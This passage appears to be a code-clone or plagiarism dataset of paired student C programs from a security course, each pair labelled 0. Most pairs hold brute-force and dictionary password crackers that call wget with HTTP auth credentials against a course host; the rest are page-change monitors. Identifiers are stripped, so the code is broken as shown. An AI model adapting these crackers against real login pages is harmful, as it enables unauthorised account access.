*))!=0) puts("Bad thread ..."); pthread_mutex_lock(&thread_lock); while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock); pthread_mutex_unlock(&thread_lock); prev_min+=partition+1; if(i==num_threads) { prev_max=combo_entries; } else { prev_max+=partition+1; } } gettimeofday(&, NULL); pthread_mutex_lock(&thread_lock); thread_start_indicator=true; pthread_mutex_unlock(&thread_lock); pthread_cond_broadcast(&start_hacking); printf("Created %d threads process %d passwords\n", num_threads, combo_entries); printf("Attacking host: %s\n", host); fflush(stdout); for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL); gettimeofday(&stop, NULL); puts("Could not determine the password for this site."); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); for(i=0; i<combo_entries; i++) (combination[i]); (*combination); return EXIT_SUCCESS; }
0
069.c
058.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include<ctype.h> int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir Images"); if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL) { system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt"); fclose(fp); exit(0); } else { fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"); system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images"); fclose(fp); } system("mkdir Text"); if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); exit(0); } else { fopen("/home/s//SECAS02ANS/Text/index.html","r"); system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); fclose(fp); } sleep(86400); } return (EXIT_SUCCESS); }
0
069.c
033.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> #define OneBillion 1e9 int (){ int i=65,j=65,k=65,count=0,res=1; char arry[3],send[100]; int startTime, stopTime, final; startTime = time(); for(i;i<123;i++){ if(i<91 || i>96){ arry[0]=i; j=65; for(j;j<123;j++){ if(j<91 || j>96){ arry[1]=j; k=65; for(k;k<123;k++){ if(k<91 || k>96){ arry[2]=k; arry[3]='\0'; strcpy(send,"wget --http-user= --http-passwd="); strcat(send,arry); strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/"); count++; if((res=(system(send)) == 0)) { stopTime = time(); final = stopTime-startTime; printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count); exit(1); } } } } } } } printf("\npassword not found\n"); exit(1); }
0
069.c
070.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MAX_SIZE 255 int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir data"); if((fp=fopen("./data/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html ./data"); } else { system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./students/index.html ./data"); } system("mkdir images"); if((fp=fopen("./images/file.txt","r"))==NULL) { system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt"); } else { system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./file.txt ./images"); } sleep(86400); } return (EXIT_SUCCESS); }
0
069.c
000.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> public static void main() { int i; char ar[100]; FILE* f; FILE* ; system("wget -O first www.rmit.edu./students"); while(1) { sleep(86400); system("rm -f thed"); system("rm -f new"); system("wget -O new www.cs.rmit.edu./students"); system("diff new first >thed"); f=fopen("thed","r"); if(fgets(ar,100,f)!=NULL) { printf("\n\n The has CHANGEDS"); system("mail @cs.rmit.edu. <thed"); system("cp new first"); fclose(f); } else { fclose(f); printf("\n\nthe has not changed "); } } }
0
069.c
023.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { FILE *fh,*fp,*fp1,*d; char [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100]; sleep(60*60*24); system("wget http://www.cs.rmit.edu./students"); if(system==0) { printf("File stored"); } strcpy(filename,"index.html"); if((fh=fopen(filename,"r"))==NULL) { printf("cannot open file\n"); exit(1); } fp=fopen("index.txt","r"); fp1=fopen("index1.txt","r"); while((fgets(PassString,sizeof(PassString),fh))!= NULL) { fread(p,sizeof(PassString),sizeof(PassString),fh); printf(" contents %s\n",p); while((f1!=EOF) || (f2!=EOF)) { f1=getc(fp); f2=getc(fp1); if(f1<f2) { strcpy(,p); fp=fopen("index.txt","r+b"); fputs(,fp); fflush(fp); fclose(fp); } else { strcpy(temp1,p); fp1=fopen("index1.txt","r+b"); fputs(temp1,fp1); fflush(fp1); fclose(fp1); } } if(system("diff -b -w index.txt index1.txt > Diff.txt")==0) { d=fopen("Diff.txt","r"); if((fgets(,sizeof(),d))!=NULL) { printf("The difference between exist"); system("Mail \r\n Difference"); } } } return 0; }
0
069.c
076.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
0
069.c
053.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
0
069.c
045.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
069.c
031.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
0
069.c
059.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
069.c
043.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
069.c
014.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; 